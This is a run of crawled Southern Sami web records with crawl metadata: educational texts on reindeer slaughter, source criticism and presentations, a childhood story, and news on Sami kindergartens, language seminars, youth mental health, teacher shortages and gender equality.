tjåamahtassh daelvege, dellie dejstie tsaapehtibie jïh buejtiejgujmie bissebe. Dïhte dan åålije bearkoe, maam galmes bissebe.\nVoestegh daelveste dellie rudtje-lïhtsh jïh tjeapoeh-lïhtsh doeltehtidh; dah dan varke skïemmenieh gïjren vuestie. Gaarmanæjjah dejtie aektieh åvtelen gelmieh. Tjeapohken seepegh jïh rudtjen seepegh hosbåantan jïh maarhmoren åesieh, jïh die jovvedahke-lïhtsh. Jis maana, dellie dejstie ohtjemes lïhtsijste. Gaatnam båarasommes almetjasse; jis nyjsenæjja, dellie galka dam utnedh. Siejpie (beatjkere) ryöjnesjæjjan åesie.\nSaertiem tsaapehtims bearkojne daelvege. Morhtjem tjoehpestibie jïh doeltehtibie, gosse tjiermieh aagkelh jïh daebriem doeltehtibie. Tjiermieh aagkelh njaelkie tjåenghkesne meksiehtidh. Daebriem milnebe, jïh muvhtene bïenjese juekebe. Jeenjh sysngetjh dellie tjeahta milnedh jïh såålhtestidh jïh bissedh.\nLibriem tjeahta voestes iereste bissedh jallh doeltehtidh. Dïhte guhkiem tjåådtje, dellie dan gejhkie sjædta. Gosse galma, tjeahta galme tjaatsan biejedh åvtelen doeltehte jïh bæssa. Daelie dah noere tjeeregh dan maehtehtje librieh stealladidh. Milnieh jïh borhki sïjse jïh doeltehtieh. Dellie dan guhkiem tjåådtje. [1]\nJ.A. mïetsken 1941\nBaakoeh\nSaemien\nDaaroen\nheantems\nheantems-bovtse\nnaagen\nnaaken\nnïmmere\nnymmere, mest flt. nïmmerh, nymmerh\ndöörhkese\ndöörhke, döörhke-buejtie\naahtehte\nbealese\nnjaarhtahtidh\nnjaarehtidh, njaarehtehtedh\nbyörkodtjh\nånnetji bearkoe\nvaeltems-bovtsh\nniestieh\nmilnedh\nmilnjedh\ntjåervierimmie\ntjåerviedimmie\nohtjebh\nuhtjebh\ndåeresth\ndåaresth\njuelkie-vuevlie\njuelkie-vielie\nfoerhnen\nfïere guhte\ntsaapehtims\ntsaapedimmes-bearkoe, tsaapedimmes-bearka, tsaapemes-bearkoe\ngaske-rohkese\nhver halvpart av bringen når bringkollen (njuenie ) er hugget av\nfeada\nbeapmoe\n- 1«Gåebrehki soptsesh». Bergsland, Knut. Universitetsforlaget. 1987.\nLaavenjassh: Juhtemen bïjreKjernestoff\nLaavenjassh: SlaaterdimmieKjernestoff\nGåatoehtimmmie Åarjel-raedtesneKjernestoff\nSoptsese guktie sarvh vijredhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nMaam måjhtah?Kjernestoff\nLaavenjassh: Vaarjoej bïjreKjernestoff\nLaavenjassh Dejpeladtje skuvle-vaarjoehKjernestoff\nLaavenjassh vætnoen bïjreKjernestoff\nLaavenjassh: Saejrieh jïh vertemeKjernestoff\nJohtelohken bïjreKjernestoff\n- Kjernestoff\nJuhtemen bïjreKjernestoff\nGåatoehtimmie Åarjel-raedtesneKjernestoff\nAkten reakta-aamhtesen bïjreKjernestoff\nSoptsese guktie sarvh vuetjedhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nTjaalege vaarjoej bïjreKjernestoff\nDejpeladtje skuvle-vaarjoehKjernestoff\nÅnnetji saejrieh jïh vertemen bïjreKjernestoff\nNihpereKjernestoff\nGarre vertemeKjernestoff\nSïejpem dåalvoeminieKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182312\/topic:1:183758\/resource:1:172616","date":"2019-04-25T22:56:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578742415.81\/warc\/CC-MAIN-20190425213812-20190425235812-00041.warc.gz","language":"sma","language_score":0.9999924898,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999924898147583}","num_words":1722,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne maahtah dov gaaltijidie jaehkedh? Gosse edtjh gaaltijh nuhtjedh dellie vihkele gaaltijh vuarjasjidh. Datne gaaltije-laejhtemem nuhtjh gosse sïjhth vihtiestidh jis gaaltije hijven.\nMij gaaltije-laejhteme?\nDatne maahtah dov gaaltijidie jaehkedh? Gosse datne edtjh gaaltijh nuhtjedh, dellie tjoerh gaaltijidie vuarjasjidh. Datne gaaltije-laejhtemem nuhtjh gosse sïjhth vuarjasjidh jis gaaltije hijven.\nDatne maahtah gaaltijh ovmessie sijjine ohtsedidh jïh jaahkods gaaltijh leah v.g. learoe-gærjah, leksikovnh, faage-leksikovnh jïh baakoe-gærjah, gïete-gærjah jïh artihkele-tjåanghkoeh, monografijh jïh faage-plaerieh, dotkeme-reektesh, byjjes tjaalegh, statistihkh, juridihken nedte-sæjroeh goh v.g. Lovdata.\nGaaltije-laejhteme vuesehte datne maahtah laejhtehks gaaltijidie årrodh mejtie nuhtjh. Datne maahtah v.g. tjaeledh: \"Manne dan jïjnjh bïevnesh aamhtesen bïjre gaavneme. Gïerve munnjien sjïdti veeljedh mah gaaltijh vihkielommes. Manne leam tjaalegi luhpievoetem, mearelesvoetem jïh nænnoesvoetem vuarjasjamme.\"\nRaerieh guktie gaaltijh vuarjasjidh\nGosse edtjh gaaltijh nedtesne vuarjasjidh dellie vihkele datne daejtie tsiehkide goerehth:\n- Gie bïevnesem bæjhkoehtamme?\n- Mij nedte-sæjroej åssjele? Maahtah sæjroeh læjhtadidh guktie byögkeles nedte-sæjroeh, nedte-plaerieh, skuvlegærja-bertemi nedte-sæjroeh jïh NDLA.\n- Bïevnesh jallh tsevtseme? Ovmessie siebrieh jïh sïelth nedte-sæjroeh utnieh gusnie jïjnjh aevhkies bïevnesh. Joekoen vihkele datne bïevnesem daejstie sæjrojste vuarjesjh eannan dam nuhtjh. Mujhtieh vuarjasjidh mejtie siebrieh jallh sïelth sijhtieh mijjem bïevnedh, tsevtsedh jallh ajve beetnegh dïenesjidh.\n- Mujhtieh gaaltijem jeatjah gaaltiji vööste goerehtidh. Gie sæjroem tjaaleme? Goerehth tjaelijem (barkoe, kvalifikasjovnh).\n- Mujhtieh aaj goerehtidh gåessie gærja jallh nedte-sæjroe tjaaleme. Jis edtjh sjyöhtehke heannadimmiej bïjre tjaeledh, dellie tjoerh bïevnesh nedte-sæjrojste nuhtjedh mah daamhtah orrestamme.\nBaakoe-buerkiestimmieh:\nMearelesvoete: gaaltije mij maam akt jeahta dov gyhtjelassi bïjre\nLuhpievoete jïh nænnoesvoete: mij teekste\/tjaalege, gie tjaaleme, gïese tjaaleme, man gaavhtan tjaelije daan bïjre tjaaleme, mij teeksten åssjele, gåessie teekstem tjaaleme.\nBaakoeh\nSaemien\nDaaroen\ngaaltije-laejhteme\nkildekritikk\nluhpievoete\ngyldighet\nmaerelesvoete\nrelevans\nnænnoesvoete\nholdbarhet","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/topic:1:191706\/resource:1:191723","date":"2019-04-22T03:08:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578533774.1\/warc\/CC-MAIN-20190422015736-20190422041736-00473.warc.gz","language":"sma","language_score":1.0000052452,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000052452087402}","num_words":259,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Magnus Fjällström daam soptsesem soptsestamme. Soptsese gærjeste Saemien lohkeme-gærja veedtjeme.\nMojhteles maana-baeleste\nMijjieh juhtieminie jillede orresji gåajkoe Kroenehken ierhkie-bieleste, tjimkimh iehkeds-biejjien. Dellie månnoeh jiekieh edtjien tsevtsiehtidh dam krievviem. Böötimen dan Buajteles guevtielasse, dellie elmie værsjoe rurhkiehti jïh jïjje jemhkiehti jïh mearhka. Dellie sjïdtimen baajedh dam krievviem jïjtje soejmi juhtedh åvtelen. Jiekie lij vaedtsehteminie dam noerhte-raedtiem, manne jis dam åarjel-raedtiem.\nNåå dellie dan værsjoen jiekie sjïdti mannem ohtsedidh, idtji gujht dïhte maehtieh jeatjhlaakan goh vaedtsedh dan minngehken oknjehkem jïh aaj gyljestalledh dan mearhkan sisnie. Nov gujht manne maaje daavestem, men ij gujht dïhte govlh mannem - dïhte gidtjh bïegken raedtesne, manne jis gåpmoeh-raedtesne. Manne gidtjh govlem jïh vaadtsam gaavnefedtie goske öövre bealese bööti.\nDellie vuajnajim goh soejvenem deavan nelnie dan mearhka-værsjoen, jïh dihte gujht gylje aajveste ektede meata-njuenieh. Nåå manne gujht roehtestim varki dan soejvenen gåajkoe dan deavan nille jïh gæljadim. Dellie jiekie aavone sjidti jïh jeehti: hijven hov goh gaavnedimen. Dellie jeahta, edtjien vaarredh faesies gierkiem ohtsedidh, jïh dellie mannem derhviej sijse laetji, jïh dellie manne nahkestim jïh åeriejim goske stoerre-låvnesh.\nDellie manne luekiejim bæjjese. Dellie lij tjaebpies gaaloes låvnes, biejjie guaka balve-gaskem. Dellie vijlehtem gåabph daate krievvie vualkeme.\nDellie vuajnam, daate krievvie lij låapode bleaknjesjeminie dam jillie-vaajjam. Jïh dellie vuajnajim dam gåetiem. Nåå manne gujht vaarrestim dahkoe, dellie dah almetjh lin aereds prïhtjegem jovkeminie. Nåå dellie tjidtjie gujht aaj munnjien varki aaj prïhtjegistie vedtieji, vuastam tsaapi. Dellie manne åtnam dellie, manne geerve (gæærve) kaarre. Tjidtjie vedti göökte gaavtjh vuasta-prihtjegem.\nBaakoeh\nSaemien\nDaaroen\noknjehke\notnjege\ndaavestem, daevestem\njeg svarer på lang avstand\nfaesie\nsom gir lyd\nlaetji, laetjieji\nhun \/han redde opp seng, bredde ut\nbleaknjesjidh\nligge utstrakt i solskinnet","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:192369\/resource:1:192641","date":"2019-04-19T17:08:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00319.warc.gz","language":"sma","language_score":0.9999909401,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999909400939941}","num_words":269,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daelie reerenasserååresjimmieh juhtieminie Granavoldesne Hadelandesne, jïh daan sjïekenisnie saemiedigkieraerie aktem læstoem rååresjimmieguejmide seedteme aktine bijjieguvvine aamhtesi bijjeli mah saemiedigkieraerie veanhta byöroeh meatan vaaltasovvedh akten orre reerenassebæjhkoehtimmien sïjse. – Gosse Gårroehbielie meatan sjïdti reerenassesne dæjman dellie saahtah loeveni åarjelsaemien kultuvregåatan Saemien Sijte Snåasesne. Gosse Kristeles Åålmegekrirrie lea bååstede reerenassesne dellie maehtebe hov mietiemoerem veanhtadidh dejnie barkojne […]","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/rorosnytt.no\/veanhtadimmieh-saemiepolitihkeles-syjhtedassi-bijre-orre-reerenassevaaroemisnie\/","date":"2019-06-17T09:29:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998462.80\/warc\/CC-MAIN-20190617083027-20190617105027-00218.warc.gz","language":"sma","language_score":0.9999709129,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999709129333496}","num_words":54,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.112,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bïerjen tjïeltesne mijjieh barkebe ihke viehkiem jih dåarjegem båerisalmetjidie jih ov-vervide vedtedh, juktie dah gelkieh maehtedh akten jïjtjemes jielemem jieledh. Hoksem Bïerjen tïeltesne akten salutogen jih rehabiliteringe vååjnesem åtna. Barkoem galka aajnen jïjtsh-eajhnadovvemem, integritetem jih jearsoesvoetem vaarjelidh,\nSyökemem barkoen bïjre tjïelten viehkiegïetedallijen luvnie darjoen. Syökemem njaalmeldh jallh tjaaleldh darjoen. Tjïelten viehkiegïetedallije varki tjïelkeste jih nännoste dah barkoeh mah syökeme. Datne akten tjaaleldh bäjhkoehtimmim nännoestimmien bïjre åadtjoeh, mij männgan dorjesåvva.. Jis ih datne fuakoes leah maahtah nännoestimmiem leenereaktese laejhtedh. Viehkiegïetedallijem maahta laejhteminie viehkiehtidh. Syökemem fealadimmiesaehtemen bïjre Leenetrafihkesne daajhtoen.\nJienebh bïevnesh, gaskesadth tjïelten viehkiegïetedallije\nJienebh bïevnesh åasaj bïjre, lohkh jienebh åasan bïjre daesnie läs om taxan här.\nDaesnie datne maahtah jïjtje akten ryöknemem daajhtodh beräkning jis datne maahtah årromesijjelissiem åadtjodh.\nDaesnie datne maahtah årromesijjielissien mietie syökedh dunnie voeres-myndigheeten hïejmesijjesne bostadstillägg på pensionsmyndighetens hemsida.\nUppdaterad: 2015-05-24 11.25","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.berg.se\/medborgare\/kommunochpolitik\/saemienreeremedajvesamiskforvaltningskommun\/hokseviehkiejihsajhtoeomsorghjalpochvard\/baeriesalmetjhaldre.4.2a948e2414c4aa4dd9a204d2.html","date":"2019-08-18T21:12:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027314130.7\/warc\/CC-MAIN-20190818205919-20190818231919-00101.warc.gz","language":"sma","language_score":0.9999970198,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999970197677612}","num_words":132,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mihá-prosjeekte edtja saemien noeri psykiske healsoem goerehtidh.\nOle-Henrik Bjørkmo Lifjell lea prosjeektekordinaatore Mental Helse Ungdom:en åvteste jïh daelie lea Mihá-prosjeektine barkeminie.\nBjørkmo Lifjell jeahta Ij naanh gellie almetjh leah daan bïjre aarebi goerehtamme jïh dan åvteste ibie utnieh naanh gellie råajvarimmieh noere saemide. Dannasinie daate dotkeme sæjhta orre daajroem sjugniedidh. Daejnie daajrojne aaj maehtebe orre konkreete råajvarimmieh noere saemide sjugniedidh.\n-Mijjieh daam prosjeektem eelkimh juktie vuejnebe madtege maahtoe saemien åålmegi bïjre, jïh sjïere madtege maahtoe healsoedïenesjinie. Juktie geerve viehkiem åadtjodh giestie akt mejtie saemien daajroem utnieh, Ole-Henrik Bjørkmo Lifjell jeahta.\nBjørkmo Lifjell aaj jeahta daate prosjeekte aaj vihkeles juktie healsoe-apparaate saemien noeride ij leah dan buerie goh sïjhtebe, jïh dah sijhtieh daam bueriedidh. Daan prosjeekten mænngan dah sijhtieh rapportem saemien noeri psykiske healsoen bïjre tjaeledh. Bjørkmo Lifjell jeahta dah edtjieh daam rapportem golme saemien gïelereeremetjïeltine luejhtedh. Dah aaj edtjieh rapportem nasjovnaale luejhtedh.\nOle-Henrik Bjørkmo Lifjell jeahta daate Mihá-pryövenasse lea anonyjme jïh saemien noerh mah leah 16-31 jaepien båeries maehtieh dåeriedidh.\n-Mijjieh håhkesjibie gellie saemien noerh sijhtieh dåeriedidh jïh daam Mihá-goerehtimmiem juekedh. Håhkesjem dah mejtie eah sïjhth dåeriedidh maehtieh daam Mihá-prosjeektem viermesne juekedh juktie gellie maehtieh dåeriedidh. Jallh lea hille göökte leahpah Márkomeannu-festivaalese 2021 vitnedh.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saernieh.no\/miha-prosjeekten-bijre\/","date":"2020-06-02T23:26:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347426956.82\/warc\/CC-MAIN-20200602224517-20200603014517-00015.warc.gz","language":"sma","language_score":0.9999985695,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999985694885254}","num_words":192,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.151,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guktie edtjieh åarjelsaemien gïelem nænnoestidh? Daan bijre edtjieh Snåasesne skieredeen 23-24.b,raarastalledh.\nGïeleviermien ulmie lea, sijjiem gaavnedh, gusnie maahta åarjelsaemien gïelem govledh, soptestidh jih maahtoem ov-messie gïelebarkojste åadtjodh. Daate gïeleviermie edtja daam åarjelsaemien gïele maahtoem jih kultuvrem nænnoestidih.\nRaajesen-tseegkeme.\nDihte saemien profsesore Ole Henrik Magga edtja soptsestidh jih bïhkedidh guktie maehtieh åarjelsaemien gïelesne raajesem tseegkedh jih hammoedidh. Dahka aaj Anne Sofie Bull Kuhmunen båata mij edtja ledtieh bijre soptestidh, sov tjaaleme barkoen bijre.\nDaesnie aaj åadtjoeh govledh, guktie nuhtjieh S-ulpan goh lohketimmie vierhtieh. Daam lohketimmie vierhtiem, Israelesne nuhtjieh.\nDiekie saemien gïelebarkijh jih jeatjah eadtjohks almetjh båetieh mij sijhtieh vielie govledh jih åarjelsaemien gïelen bijre lieredh.\nGïele tjåanghkoe vihkeles.\nGïelem Nastedh jih Hanne-Lena Wilks tuhtjie dagkeres tjåanghkoe vihkeles, jijnjh almetjh daan tjåanghkose båetieh.\n– Daate lea gåalmede gïeleviermie tjåanghkoeh jih govlebe almetjh tuhtjieh dagkeres tjåanghkoe daerpies. Åadtjodh gaavnesjidh, saemiestidh jih govledh mejnie dah gïelebarkijh barkoeminie. Dagkeres tjåanghkoe almetjidie eadtjaldovvieh saemiengïeline barkedh, Wilkse jeahta.\nDaate seminaare tjåanghkoe ektievuekiebarkoe Gïelem Nastedh, Saemien Gïelejarngh, Gïeleaernie, Raarhvihken tjielte jih Aajege, Rørosen tjïelten gaskem.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.nrk.no\/sapmi\/aarjelsaemien-gielem-naennoestidh-1.12566166","date":"2020-05-29T07:59:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347402457.55\/warc\/CC-MAIN-20200529054758-20200529084758-00152.warc.gz","language":"sma","language_score":1.0000013113,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000001311302185}","num_words":166,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.102,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maam tjoerh ussjedidh gosse edtjh njaalmeldh åehpiedehtemem vuarjasjidh? Daesnie naan raerieh åadtjoeh gosse edtjh mubpiej åehpiedehtemem vuarjasjidh.\nÅehpiedehtemem vuarjasjidh\nRaerieh dutjien gosse datne edtjh jeatjebi åehpiedehtemem vuarjasjidh:\nSisvege\nAamhtesem njaalmeldh åehpiedehtiemasse sjïehtedamme?\nGoltelæjjah sisvegem guarkoeh?\nSeedtije naan gïerve jallh ammes baakoeh nuhtjie, mah gïerve guarkedh?\nGoltelæjjide gutnede?\nSeedtije goltelæjjide gutnede jis goltelieh jïh guarkoeh maam jeahta?\nGïele-åtnoe\nGovlh seedtijem?\nGaajhkesh dam guvlieh?\nSjïehteles gïeline soptseste?\nKråahpe-gïele\nSeedtije ïedtjem tjïelkelaakan goltelæjjide buakta?","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:164987\/topic:1:161361\/resource:1:163216","date":"2020-07-05T01:26:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655886802.13\/warc\/CC-MAIN-20200704232817-20200705022817-00351.warc.gz","language":"sma","language_score":0.9999988079,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999988079071045}","num_words":71,"character_repetition_ratio":0.134,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.028,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Goevten raejeste suehpeden raajan Saemiedigkieraerie lea 7,4 millijovh kråvnah 23 saemien maanajgïertide jïh 9 saemien goevtesidie daaroen maanajgïertine dåårjeme.\nDoarjoen ulmieh leah råajvarimmieh mejtie saemien kultuvrem jïh aerpievuekiem nænnoestieh.\n-NOU 2016:18 Vaajmoegïele jeahta saemien maanajgïerth vihkelommes råajvarimmie saemien gïelem nænnoestidh jïh vaarjelidh. Maanajgïertesne maanah aelkieh gïelem lïeredh, jïh maanah leah båetije biejjide gïeleutnijh. Dannasinie joekoen vihkeles daah maanajgïerth maanaj saemien gïelem, kultuvrem, tradisjovnem jïh identiteetem nænnoestieh, saemiedigkieraerie Mikkel Eskil Mikkelsen (NSR) jeahta.\n634 maanah noerhtesaemien maanajgïertefaaleldahke åadtjoeh, 31 maanah julevsaemien maanajgïertefaaleldahke åadtjoeh jïh 37 maanah åarjelsaemien faaleldahke åadtjoeh. Dellie 702 saemien maanah faaleldahkeh åadtjoeh mejtie saemien gïelem, kultuvrem jïh aerpievuekiem nænnoestieh.\n2019 raejeste 2020 raajan gellebe åarjelsaemien maanah saemien maanajgïertefaaleldahkem åadtjoeh. Aaj gellebe maanah Romsesne saemien maanajgïertefaaleldahkem åadtjoeh.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/saernieh.no\/saemiedigkieraerie-saemien-maanajgiertide-jih-saemien-goevtesidie-daaroen-maanajgiertine-daarje\/","date":"2020-08-04T05:48:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735860.28\/warc\/CC-MAIN-20200804043709-20200804073709-00059.warc.gz","language":"sma","language_score":1.0000040531,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000040531158447}","num_words":108,"character_repetition_ratio":0.143,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.194,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Röörosen tjïelte tuhtjie joekoen geerve maanajgïertelohkehtæjjah saemien maanajgïertegoevtesasse Svaale fihkelidh. Tjïelten mubpien åvtehke Christian Elgaaen lea prieviem Saemiedægkan tjaaleme gusnie dåeriesmoerem tjïelkesti.\n–Daate joekoen aalvere dïsse maanajgïertegoevtesasse, jïh mijjen barkose åarjelsaemien gïelem jïh kultuvrem nænnoestidh jïh vaarjelidh, tjïelten mubpien åvtehke Christian Elgaaen prievesne Saemiedægkan tjeeli.\nGöökte jaepieh Röörosen tjïelte lea reeremetjïelte orreme. Goevtesisnie Svaalesne Ysterhagaen maanajgïertesne åarjelsaemiengïele edtja voestesgïeline årrodh. Mohte, tjïelte tuhtjie geerve maanajgïertelohkehtæjjah fihkelidh mejtie åarjelsaemiengïelem soptsestieh. Daelie tjïelte lea jeenjebe barkoenuepieh olkese bïejeme jïh tjïelten mubpien åvtehke Christian Elgaaen gegkeste daate illedahkem vaadta.\n-Mijjieh gellie barkoenuepieh olkese bïejeme, jïh tjïelte jïjnjem dorjeme barkijh fihkelidh. Tjaktjen raejeste tjïelte ij-gie barkijh Svaalesne utnieh mejtie buektiehtieh iktegisth åarjelsaemiengïelem soptsestidh, jïh daate joekoen håjnoes. Giesie doekoe mijjieh dåeriesmoerine barkebe, mohte daenbien ibie rikti daejrieh guktie tjaktjege sjædta, Elgaaen prievesne Saemiedægkan tjeeli.\nElgaaen aaj jeahta onnetje aelkebe lohkehtæjjah maadthskuvlesne fihkelidh, mohte daerpies jeenjebe lohkehtæjjah fihkelidh mejtie hillem åadtjoeh praktihkeles-pedagogeles ööhpehtimmiem vaeltedh.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/saernieh.no\/roorosen-tjielte-geerve-maanajgiertelohkehtaejjah-svaalese-fihkelidh\/","date":"2020-08-04T05:44:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735860.28\/warc\/CC-MAIN-20200804043709-20200804073709-00251.warc.gz","language":"sma","language_score":1.0000007153,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000007152557373}","num_words":149,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daenbien buaredh Plassjesne jïh Båantan sjeltie lea aaj aalkeme. Daate lea sjeltie mij handelsstanden jïh Båantan sjeltie Tröndelaagesne öörnieh.\nBåantan sjeltie lea Peder Hiortgaatesne öörnesovveme. Galåvolden Gård aaj lij meatan jïh Anita Rennemo jeahta joekoen tryjjes Båantan sjeltesne årrodh jïh almetjh vihth råakedh. Dïhte aaj jeahta dah Leah Nellie tjasth doekeme juktie buaredh.\nBirgit Svendsen Fjell Urt:ste aaj lij Båantan sjeltesne jïh sjædtoeh doeki\n-Daate mijjen voestes sjeltie, jïh tuhtjem joekoen tryjjes Plassjese båetedh. Gegkestibie gellie almetjh sjaltan båetieh juktie mijjieh maehtebe daesnie skojjedh, Birgit Svendsen jeahta.\nLïhtsegh Båantan sjeltie Tröndelaagesne leah:\n- Ankeret mat\n- Bæstes Bakeri\n- Galåvolden Gård\n- Jo-Sætra Produkter\n- Knut Garshol Klippfisk\n- Skånaliseter Gårdsysteri\n- Tydalskjøtt\n- Uthaug Fisk\n- Fjellurt DA\n- Havsmak Naustet\nJeatjah sïelth mejtie aaj meatan lin Kalsa Gårdsbakeri jïh Rørosmeieriet.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/saernieh.no\/baantan-sjeltie-plassjesne-lea-aalkeme\/","date":"2020-10-01T19:45:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402131986.91\/warc\/CC-MAIN-20201001174918-20201001204918-00573.warc.gz","language":"sma","language_score":0.9996106029,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9996106028556824}","num_words":122,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkieraerien reektestimmie tjoelemïrrestallemen bïjre lea vïjhtede reektestimmie mïrrestallemesuerkesne daan boelhken. Aerpievuekien mietie mïrrestalleme tjoeli gaskem lea dïhte mïsse jeenjesh ussjedieh gosse mïrrestallemen bïjre soptseste, jïh gæmhpoe tjoelemïrrestallemen åvteste lea gellielaakan baalkam ööleme dejtie jeatjah barkoesuerkide mïrrestallemesuerkesne, goh mïrrestalleme saemide funksjovnegiehpiedimmine, LHBTIQ-almetjh, vædtsoesvoetedåeriesmoere Saepmesne jïh gæmhpoe aassjoelahtestimmiej vööste. Daah sjïere barkoesuerkieh våaromem biejieh akten orre mïrrestallemebïevnesasse maam Saemiedigkie edtja mænngan daan boelhken gïetedidh.\n– Tjoelemïrrestalleme annje joekoen sjyöhtehke teema gelline siebriedahkesuerkine. Dej minngemes jaepiej dotkeme stoerre joekehtsh tjoeli gaskem vuesehte vihkeles suerkiej sisnjeli saemien siebriedahkesne, saemiedigkiepresidente Aili Keskitalo (NSR) jeahta.\nÖöhpehtimmien sisnjelen daejrebe jienebh saemien ålmah nyjsenæjjijste jåarhkelïerehtimmeste haajpanieh, jïh geervebe nyjsenæjjide baahtsemem åadtjodh vuesiehtimmien gaavhtan aalkoejieliemidie. Saemiedigkieraerie sæjhta gåabpegh tjoelh edtjieh seamma nuepieh utnedh.\nGaajhkh tjoelh edtjieh tjïelke barkoenuepieh jïh nuepieh aerpievuekien daajroem saemien jielemi sisnjeli jåerhkedh. Juktie nænnoes saemien jielemem utnedh dellie daerpies aktem vielie joekehtadteme barkoemaarhkedem sjugniedidh stuerebe gamtojne ovmessie såarhts gïehtelimmine, jïh barkoejielede stuerebe balaansine tjoeli gaskem.\n– Daan beajjetje jieliemisnie aktem jarkemem vuejnebe gusnie nyjsenæjjaj råålla ånnetji ånnetji veaksahkåbpoe sjædta. Jienebh nyjsenæjjah barkoejgujmie nierhkieh mejgujmie aerpievuekien mietie ålmaj barkoeh orreme, jïh nyjsenæjjaj baajnehtimmiefaamoe aalkoejielieminie veaksahkåbpoe sjædta, Keskitalo vihteste.\nLæjhkan jïjnje aajmene juktie nyjsenæjjaj baajnehtimmiefaamoem jïh sijjiem aerpievuekien ålmabarkojne nænnoestidh. Tjoeleråållah saemien siebriedahkesne gååvnesieh mah eah leah åssjaldahken mietie tjïelke mïrrestallemen bïjre. Saemiedigkie sæjhta lissiehtamme dotkemasse jïh statistihkese mïrrestallemesuerkesne sjïehteladtedh.\n– Aerpievuekien mietie lea tjoelemïrrestallemem åtneme goh 